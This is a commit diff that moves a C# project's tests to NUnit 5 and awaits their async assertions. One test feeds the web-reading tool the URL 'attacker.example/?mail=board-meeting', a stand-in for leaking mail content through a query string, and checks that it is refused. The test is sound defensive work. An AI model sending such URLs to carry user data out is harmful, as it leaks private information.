Upgraded the tests to NUnit v5.0.0 and awaited their asynchronous assertions

This commit is contained in:
Thorsten Sommer committed 2026-11-01 14:36:56 +01:00
1 parent 8e8d1999d9
commit bc47b5c492
21 files changed
+51 -54

No files matched your search

@@ -65,12 +65,12 @@ public sealed class DataSourceERICancellationTests
} }
[Test] [Test]
public void ACancelledSearchStops() public async Task ACancelledSearchStops()
{ {
using var cancellation = new CancellationTokenSource(); using var cancellation = new CancellationTokenSource();
cancellation.Cancel(); cancellation.Cancel();
Assert.CatchAsync<OperationCanceledException>(async () => await UNREACHABLE.RetrieveDataAsync("query", 1, new ChatThread(), cancellation.Token), "Reporting the data source as not searched would carry on after the user cancelled."); await Assert.CatchAsync<OperationCanceledException>(async () => await UNREACHABLE.RetrieveDataAsync("query", 1, new ChatThread(), cancellation.Token), "Reporting the data source as not searched would carry on after the user cancelled.");
} }
[Test] [Test]
+9 -12
View File
@@ -10,29 +10,26 @@
</PropertyGroup> </PropertyGroup>
<ItemGroup> <ItemGroup>
<PackageReference Include="coverlet.collector" Version="10.0.1" /> <PackageReference Include="coverlet.collector" Version="10.1.0" />
<!-- <!--
Held at the version the two analyzer projects build against, so that a test compiling a Held at the version the two analyzer projects build against, so that a test compiling a
snippet uses the same Roslyn the analyzers themselves were written for. Raise all three snippet uses the same Roslyn the analyzers themselves were written for. Raise all three
together, and never above the Roslyn of the .NET SDK in metadata.txt (5.0 for 10.0.1xx). together, and never above the Roslyn of the .NET SDK in metadata.txt (5.0 for 10.0.1xx).
--> -->
<PackageReference Include="Microsoft.CodeAnalysis.CSharp" Version="5.0.0" /> <PackageReference Include="Microsoft.CodeAnalysis.CSharp" Version="5.0.0" />
<PackageReference Include="Microsoft.NET.Test.Sdk" Version="18.10.0" /> <PackageReference Include="Microsoft.NET.Test.Sdk" Version="18.11.0" />
<!-- <!--
Pinned below 4.6.0 on purpose, verified by bisecting 4.4.0, 4.5.0, 4.5.1, 4.6.0 and 4.6.1 NUnit 4.6 broke Assert.That for plain values under C# 13: with Assert.That(Action, ...) added,
against the .NET 9 SDK (9.0.120, C# 13): from 4.6.0 on, the compiler no longer picks even Assert.That(1, Is.EqualTo(1)) failed with "argument 1: cannot convert int to System.Action".
Assert.That<TActual>(TActual, IResolveConstraint, ...) for a plain value. 4.6.0 added NUnit 5 with C# 14 picks the value overload again. Should that message come back after an update,
Assert.That(Action, ...) and Assert.That<T>(Func<T>, ...) alongside it, and the value this is where it comes from.
overload drops out of the candidate set, so even Assert.That(1, Is.EqualTo(1)) fails with
"argument 1: cannot convert int to System.Action", a message that points nowhere near the
real cause. Re-test the newest version whenever the .NET SDK is raised.
--> -->
<PackageReference Include="NUnit" Version="4.5.1" /> <PackageReference Include="NUnit" Version="5.0.0" />
<PackageReference Include="NUnit.Analyzers" Version="4.14.0"> <PackageReference Include="NUnit.Analyzers" Version="4.15.0">
<PrivateAssets>all</PrivateAssets> <PrivateAssets>all</PrivateAssets>
<IncludeAssets>runtime; build; native; contentfiles; analyzers; buildtransitive</IncludeAssets> <IncludeAssets>runtime; build; native; contentfiles; analyzers; buildtransitive</IncludeAssets>
</PackageReference> </PackageReference>
<PackageReference Include="NUnit3TestAdapter" Version="6.3.0" /> <PackageReference Include="NUnit3TestAdapter" Version="6.3.1" />
</ItemGroup> </ItemGroup>
<ItemGroup> <ItemGroup>
@@ -233,13 +233,13 @@ public sealed class MailboxIndexStoreTests
{ {
var mailId = await this.StoreDocumentAsync(KEY_A); var mailId = await this.StoreDocumentAsync(KEY_A);
Assert.Multiple(() => using (Assert.EnterMultipleScope())
{ {
Assert.ThrowsAsync<ArgumentException>(() => this.Client.UpsertMailAsync(DATA_SOURCE_ID, Mail(mailId), TOKEN), "A mail which lies nowhere would be an orphan from the start."); await Assert.ThrowsAsync<ArgumentException>(() => this.Client.UpsertMailAsync(DATA_SOURCE_ID, Mail(mailId), TOKEN), "A mail which lies nowhere would be an orphan from the start.");
Assert.ThrowsAsync<ArgumentException>(() => this.Client.UpsertMailAsync(DATA_SOURCE_ID, Mail(mailId, At(INBOX, 7), At(INBOX, 7)), TOKEN)); await Assert.ThrowsAsync<ArgumentException>(() => this.Client.UpsertMailAsync(DATA_SOURCE_ID, Mail(mailId, At(INBOX, 7), At(INBOX, 7)), TOKEN));
Assert.ThrowsAsync<InvalidOperationException>(() => this.Client.UpsertMailAsync(DATA_SOURCE_ID, Mail(mailId, At("Unknown", 1)), TOKEN)); await Assert.ThrowsAsync<InvalidOperationException>(() => this.Client.UpsertMailAsync(DATA_SOURCE_ID, Mail(mailId, At("Unknown", 1)), TOKEN));
Assert.ThrowsAsync<ArgumentException>(() => this.Client.UpsertMailAsync(DATA_SOURCE_ID, Mail(mailId, At(INBOX, 7)) with { ReferenceMessageIds = ["one two@example.org"] }, TOKEN), "Stored separated by spaces, this one would come back as two."); await Assert.ThrowsAsync<ArgumentException>(() => this.Client.UpsertMailAsync(DATA_SOURCE_ID, Mail(mailId, At(INBOX, 7)) with { ReferenceMessageIds = ["one two@example.org"] }, TOKEN), "Stored separated by spaces, this one would come back as two.");
}); }
} }
/// <summary> /// <summary>
@@ -91,9 +91,9 @@ public sealed class MailboxStateStoreTests
} }
[Test] [Test]
public void ARemovalOfNoMailIsNothingToHoldBack() public async Task ARemovalOfNoMailIsNothingToHoldBack()
{ {
Assert.ThrowsAsync<ArgumentOutOfRangeException>(() => this.Client.HoldBackMailRemovalAsync(DATA_SOURCE_ID, 0, TOKEN)); await Assert.ThrowsAsync<ArgumentOutOfRangeException>(() => this.Client.HoldBackMailRemovalAsync(DATA_SOURCE_ID, 0, TOKEN));
} }
[Test] [Test]
+2 -2
View File
@@ -65,10 +65,10 @@ public sealed class FileExportFeedbackTests
} }
[Test] [Test]
public void AnExceptionRemovesTheRunningNotification() public async Task AnExceptionRemovesTheRunningNotification()
{ {
var sent = new SentNotifications(); var sent = new SentNotifications();
Assert.ThrowsAsync<IOException>(async () => await Assert.ThrowsAsync<IOException>(async () =>
{ {
await using var feedback = new FileExportFeedback(sent.Send, _ => Task.CompletedTask); await using var feedback = new FileExportFeedback(sent.Send, _ => Task.CompletedTask);
feedback.ShowRunning(FILE_PATH); feedback.ShowRunning(FILE_PATH);
+1 -1
View File
@@ -59,7 +59,7 @@ public class FileTypesTests
.ToArray(); .ToArray();
Assert.That(extensions, Is.Not.Empty); Assert.That(extensions, Is.Not.Empty);
Assert.That(extensions, Has.All.Matches<string>(extension => extension == extension.ToLowerInvariant() && !extension.Contains('.'))); Assert.That(extensions, Has.All.Matches<string>(extension => extension is not null && extension == extension.ToLowerInvariant() && !extension.Contains('.')));
} }
[Test] [Test]
@@ -90,7 +90,7 @@ public sealed class ImapMailboxConnectorTests
// failure instead of this one. // failure instead of this one.
// //
await using var connector = new ImapMailboxConnector(); await using var connector = new ImapMailboxConnector();
var exception = Assert.ThrowsAsync<MailboxConnectionException>(() => connector.ConnectAsync(mailbox, password, MailServerPolicy.ANY_SERVER, CancellationToken.None)); var exception = await Assert.ThrowsAsync<MailboxConnectionException>(() => connector.ConnectAsync(mailbox, password, MailServerPolicy.ANY_SERVER, CancellationToken.None));
Assert.That(exception?.Failure, Is.EqualTo(MailboxConnectionFailure.INVALID_SETTINGS)); Assert.That(exception?.Failure, Is.EqualTo(MailboxConnectionFailure.INVALID_SETTINGS));
} }
@@ -103,7 +103,7 @@ public sealed class ImapMailboxConnectorTests
// //
await using var connector = new ImapMailboxConnector(); await using var connector = new ImapMailboxConnector();
var policy = new MailServerPolicy(true, ["imap.intra.example.org"]); var policy = new MailServerPolicy(true, ["imap.intra.example.org"]);
var exception = Assert.ThrowsAsync<MailboxConnectionException>(() => connector.ConnectAsync(MAILBOX, PASSWORD, policy, CancellationToken.None)); var exception = await Assert.ThrowsAsync<MailboxConnectionException>(() => connector.ConnectAsync(MAILBOX, PASSWORD, policy, CancellationToken.None));
Assert.That(exception?.Failure, Is.EqualTo(MailboxConnectionFailure.SERVER_NOT_ALLOWED)); Assert.That(exception?.Failure, Is.EqualTo(MailboxConnectionFailure.SERVER_NOT_ALLOWED));
} }
@@ -61,22 +61,22 @@ public sealed class MailAttachmentPiecesTests
} }
[Test] [Test]
public void AnUnknownEncodingFetchesNothing() public async Task AnUnknownEncodingFetchesNothing()
{ {
var server = new PieceServer(Encoding.ASCII.GetBytes("Uryyb")); var server = new PieceServer(Encoding.ASCII.GetBytes("Uryyb"));
Assert.Multiple(() => using (Assert.EnterMultipleScope())
{ {
Assert.ThrowsAsync<InvalidDataException>(async () => await WriteDecodedAsync(server, "x-rot13")); await Assert.ThrowsAsync<InvalidDataException>(async () => await WriteDecodedAsync(server, "x-rot13"));
Assert.That(server.RequestedOffsets, Is.Empty); Assert.That(server.RequestedOffsets, Is.Empty);
}); }
} }
[Test] [Test]
public void APieceLargerThanAskedForIsRefused() public async Task APieceLargerThanAskedForIsRefused()
{ {
// Taken as it came, the next piece would repeat what this one already delivered: // Taken as it came, the next piece would repeat what this one already delivered:
var server = new PieceServer(new byte[100], deliveredBytes: PIECE_BYTES + 1); var server = new PieceServer(new byte[100], deliveredBytes: PIECE_BYTES + 1);
Assert.ThrowsAsync<InvalidDataException>(async () => await WriteDecodedAsync(server, "binary")); await Assert.ThrowsAsync<InvalidDataException>(async () => await WriteDecodedAsync(server, "binary"));
} }
private static async Task<byte[]> WriteDecodedAsync(PieceServer server, string? transferEncoding) private static async Task<byte[]> WriteDecodedAsync(PieceServer server, string? transferEncoding)
@@ -97,11 +97,11 @@ public sealed class TranscriptPromptInjectionTests
} }
[Test] [Test]
public void OnlyAReadyTranscriptCanBeRead() public async Task OnlyAReadyTranscriptCanBeRead()
{ {
var transcript = PersistentMediaTranscriptResult.Unavailable(PersistentMediaTranscriptStatus.NO_PROVIDER, null, "No provider."); var transcript = PersistentMediaTranscriptResult.Unavailable(PersistentMediaTranscriptStatus.NO_PROVIDER, null, "No provider.");
Assert.ThrowsAsync<ArgumentException>(() => PersistentMediaTranscript.ReadTranscriptAsync(this.rustService, transcript, this.mediaPath, reportingScope: null, CancellationToken.None)); await Assert.ThrowsAsync<ArgumentException>(() => PersistentMediaTranscript.ReadTranscriptAsync(this.rustService, transcript, this.mediaPath, reportingScope: null, CancellationToken.None));
} }
[Test] [Test]
+2 -2
View File
@@ -117,12 +117,12 @@ public sealed class PassageProvenanceTests
} }
[Test] [Test]
public void StoringNeverStopsTheAnswer() public async Task StoringNeverStopsTheAnswer()
{ {
// A passage without its text, as an ERI server sent one before its fields were checked: // A passage without its text, as an ERI server sent one before its fields were checked:
var answer = new ContentText { SourcePassages = [Passage(HANDBOOK_URL, null!)] }; var answer = new ContentText { SourcePassages = [Passage(HANDBOOK_URL, null!)] };
Assert.DoesNotThrowAsync(() => answer.StoreReceivedContentAsync(Guid.NewGuid()), "Completing the answer waits for this, and a throw left its chat running until the app restarted."); await Assert.DoesNotThrowAsync(() => answer.StoreReceivedContentAsync(Guid.NewGuid()), "Completing the answer waits for this, and a throw left its chat running until the app restarted.");
} }
[Test] [Test]
+2 -2
View File
@@ -163,11 +163,11 @@ public sealed class RetrievalPagingTests
} }
[Test] [Test]
public void AnERIDataSourceRefusesAFurtherPage() public async Task AnERIDataSourceRefusesAFurtherPage()
{ {
var source = new DataSourceERI_V1 { Id = "33333333-3333-3333-3333-333333333333", Name = "Intranet", MaxMatches = 10 }; var source = new DataSourceERI_V1 { Id = "33333333-3333-3333-3333-333333333333", Name = "Intranet", MaxMatches = 10 };
Assert.ThrowsAsync<ArgumentOutOfRangeException>(async () => await source.RetrieveDataAsync("query", 2, new AIStudio.Chat.ChatThread())); await Assert.ThrowsAsync<ArgumentOutOfRangeException>(async () => await source.RetrieveDataAsync("query", 2, new AIStudio.Chat.ChatThread()));
} }
private static (IReadOnlyList<string> Matches, bool HasMore) Merge(string[] first, string[] second, int page) private static (IReadOnlyList<string> Matches, bool HasMore) Merge(string[] first, string[] second, int page)
@@ -158,5 +158,5 @@ public sealed class CountMailsToolTests : ToolRegistryTestBase
private static JsonElement Arguments(string json) => JsonSerializer.Deserialize<JsonElement>(json); private static JsonElement Arguments(string json) => JsonSerializer.Deserialize<JsonElement>(json);
private static string Refusal(TestDelegate read) => Assert.Throws<ArgumentException>(read)!.Message; private static string Refusal(Action read) => Assert.Throws<ArgumentException>(read)!.Message;
} }
@@ -223,7 +223,7 @@ public sealed class MailToolArgumentsTests
private static JsonElement Arguments(string json) => JsonSerializer.Deserialize<JsonElement>(json); private static JsonElement Arguments(string json) => JsonSerializer.Deserialize<JsonElement>(json);
private static string Refusal(TestDelegate read) => Assert.Throws<ArgumentException>(read)!.Message; private static string Refusal(Action read) => Assert.Throws<ArgumentException>(read)!.Message;
/// <summary> /// <summary>
/// A time zone two hours ahead of UTC, all year round, so that no test depends on the computer or on daylight saving time. /// A time zone two hours ahead of UTC, all year round, so that no test depends on the computer or on daylight saving time.
@@ -194,5 +194,5 @@ public sealed class ReadMailToolTests : ToolRegistryTestBase
private static JsonElement Arguments(string json) => JsonSerializer.Deserialize<JsonElement>(json); private static JsonElement Arguments(string json) => JsonSerializer.Deserialize<JsonElement>(json);
private static string Refusal(TestDelegate read) => Assert.Throws<ArgumentException>(read)!.Message; private static string Refusal(Action read) => Assert.Throws<ArgumentException>(read)!.Message;
} }
@@ -149,11 +149,11 @@ public sealed class ReadWebPageAllowedPrivateHostTests : ToolRegistryTestBase
} }
[Test] [Test]
public void AnAllowedNameWhichResolvesToAPublicAddressIsRefused() public async Task AnAllowedNameWhichResolvesToAPublicAddressIsRefused()
{ {
var service = new WebPageRetrievalService(new HTMLParser()); var service = new WebPageRetrievalService(new HTMLParser());
var exception = Assert.ThrowsAsync<WebPageAccessBlockedException>(() => service.RetrieveAsync(new Uri(PUBLIC_ADDRESS), new WebPageRetrievalOptions var exception = await Assert.ThrowsAsync<WebPageAccessBlockedException>(() => service.RetrieveAsync(new Uri(PUBLIC_ADDRESS), new WebPageRetrievalOptions
{ {
TimeoutSeconds = 10, TimeoutSeconds = 10,
ProviderConfidence = ConfidenceLevel.HIGH, ProviderConfidence = ConfidenceLevel.HIGH,
@@ -165,7 +165,7 @@ public sealed class ReadWebPageAllowedPrivateHostTests : ToolRegistryTestBase
} }
[Test] [Test]
public void ARedirectFromAnAllowedPrivateHostToAPublicAddressIsRefused() public async Task ARedirectFromAnAllowedPrivateHostToAPublicAddressIsRefused()
{ {
using var server = new LoopbackWebServer(redirectLocation: PUBLIC_ADDRESS); using var server = new LoopbackWebServer(redirectLocation: PUBLIC_ADDRESS);
var service = new WebPageRetrievalService(new HTMLParser()); var service = new WebPageRetrievalService(new HTMLParser());
@@ -175,7 +175,7 @@ public sealed class ReadWebPageAllowedPrivateHostTests : ToolRegistryTestBase
// chose only, which the limit holds for all the same, because it guards what the address // chose only, which the limit holds for all the same, because it guards what the address
// may carry: // may carry:
// //
var exception = Assert.ThrowsAsync<WebPageAccessBlockedException>(() => service.RetrieveAsync(server.Address("/redirect"), new WebPageRetrievalOptions var exception = await Assert.ThrowsAsync<WebPageAccessBlockedException>(() => service.RetrieveAsync(server.Address("/redirect"), new WebPageRetrievalOptions
{ {
TimeoutSeconds = 10, TimeoutSeconds = 10,
TargetChosenByUser = true, TargetChosenByUser = true,
@@ -94,7 +94,7 @@ public sealed class ReadWebPageFreeAddressChoiceTests
} }
[Test] [Test]
public void OffRefusesAMadeUpAddressWithoutRepeatingIt() public async Task OffRefusesAMadeUpAddressWithoutRepeatingIt()
{ {
var tool = new ReadWebPageTool(null!, null!, null!, NullLogger<ReadWebPageTool>.Instance); var tool = new ReadWebPageTool(null!, null!, null!, NullLogger<ReadWebPageTool>.Instance);
using var arguments = JsonDocument.Parse("""{"url":"https://made-up.example/?question=budget"}"""); using var arguments = JsonDocument.Parse("""{"url":"https://made-up.example/?question=budget"}""");
@@ -109,7 +109,7 @@ public sealed class ReadWebPageFreeAddressChoiceTests
SettingsValues = new Dictionary<string, string>(), SettingsValues = new Dictionary<string, string>(),
}; };
var exception = Assert.ThrowsAsync<ToolExecutionBlockedException>(() => tool.ExecuteAsync(arguments.RootElement, context)); var exception = await Assert.ThrowsAsync<ToolExecutionBlockedException>(() => tool.ExecuteAsync(arguments.RootElement, context));
Assert.That(exception!.Message, Does.Contain("Free address choice is off").And.Not.Contain("made-up").And.Not.Contain("budget"), "Repeated in the result, the address would stand in the chat afterwards."); Assert.That(exception!.Message, Does.Contain("Free address choice is off").And.Not.Contain("made-up").And.Not.Contain("budget"), "Repeated in the result, the address would stand in the chat afterwards.");
} }
@@ -87,7 +87,7 @@ public sealed class ReadWebPageOutboundDataRestrictionTests : ToolRegistryTestBa
Assert.That(ReadWebPageTool.IsAllowedByOutboundDataRestriction(new Uri(GIVEN), (OutboundDataRestriction)99, ChatWithTheUserWriting(GIVEN), WIKI_URL, NO_PRIVATE_HOSTS, out _), Is.False); Assert.That(ReadWebPageTool.IsAllowedByOutboundDataRestriction(new Uri(GIVEN), (OutboundDataRestriction)99, ChatWithTheUserWriting(GIVEN), WIKI_URL, NO_PRIVATE_HOSTS, out _), Is.False);
[Test] [Test]
public void ARefusalDoesNotRepeatTheAddress() public async Task ARefusalDoesNotRepeatTheAddress()
{ {
// //
// Repeated in the result of a call, the address would stand in the chat afterwards, and the // Repeated in the result of a call, the address would stand in the chat afterwards, and the
@@ -98,7 +98,7 @@ public sealed class ReadWebPageOutboundDataRestrictionTests : ToolRegistryTestBa
var chat = RestrictedChat(OutboundDataRestriction.ONLY_LINKS_FROM_CHAT); var chat = RestrictedChat(OutboundDataRestriction.ONLY_LINKS_FROM_CHAT);
using var arguments = JsonDocument.Parse("""{"url":"https://attacker.example/?mail=board-meeting"}"""); using var arguments = JsonDocument.Parse("""{"url":"https://attacker.example/?mail=board-meeting"}""");
var exception = Assert.ThrowsAsync<ToolExecutionBlockedException>(() => tool.ExecuteAsync(arguments.RootElement, this.ExecutionContext(tool, chat))); var exception = await Assert.ThrowsAsync<ToolExecutionBlockedException>(() => tool.ExecuteAsync(arguments.RootElement, this.ExecutionContext(tool, chat)));
Assert.That(exception!.Message, Does.Not.Contain("attacker").And.Not.Contain("board-meeting")); Assert.That(exception!.Message, Does.Not.Contain("attacker").And.Not.Contain("board-meeting"));
} }
@@ -324,5 +324,5 @@ public sealed class SearchMailsToolTests : ToolRegistryTestBase
private static JsonElement Arguments(string json) => JsonSerializer.Deserialize<JsonElement>(json); private static JsonElement Arguments(string json) => JsonSerializer.Deserialize<JsonElement>(json);
private static string Refusal(TestDelegate read) => Assert.Throws<ArgumentException>(read)!.Message; private static string Refusal(Action read) => Assert.Throws<ArgumentException>(read)!.Message;
} }
@@ -115,5 +115,5 @@ public sealed class SemanticSearchToolRequestTests
/// <summary> /// <summary>
/// Reads a search which has to be refused and returns what the refusal said. /// Reads a search which has to be refused and returns what the refusal said.
/// </summary> /// </summary>
private static string Refusal(TestDelegate read) => Assert.Throws<ArgumentException>(read)!.Message; private static string Refusal(Action read) => Assert.Throws<ArgumentException>(read)!.Message;
} }
@@ -163,5 +163,5 @@ public sealed class ToolArgumentReaderTests
/// <summary> /// <summary>
/// Runs a reader which has to refuse its argument and returns what it said. /// Runs a reader which has to refuse its argument and returns what it said.
/// </summary> /// </summary>
private static string Refusal(TestDelegate read) => Assert.Throws<ArgumentException>(read)!.Message; private static string Refusal(Action read) => Assert.Throws<ArgumentException>(read)!.Message;
} }
@@ -166,5 +166,5 @@ public sealed class WebSearchToolArgumentTests
/// <summary> /// <summary>
/// Runs a reader which has to refuse its argument and returns what it said. /// Runs a reader which has to refuse its argument and returns what it said.
/// </summary> /// </summary>
private static string Refusal(TestDelegate read) => Assert.Throws<ArgumentException>(read)!.Message; private static string Refusal(Action read) => Assert.Throws<ArgumentException>(read)!.Message;
} }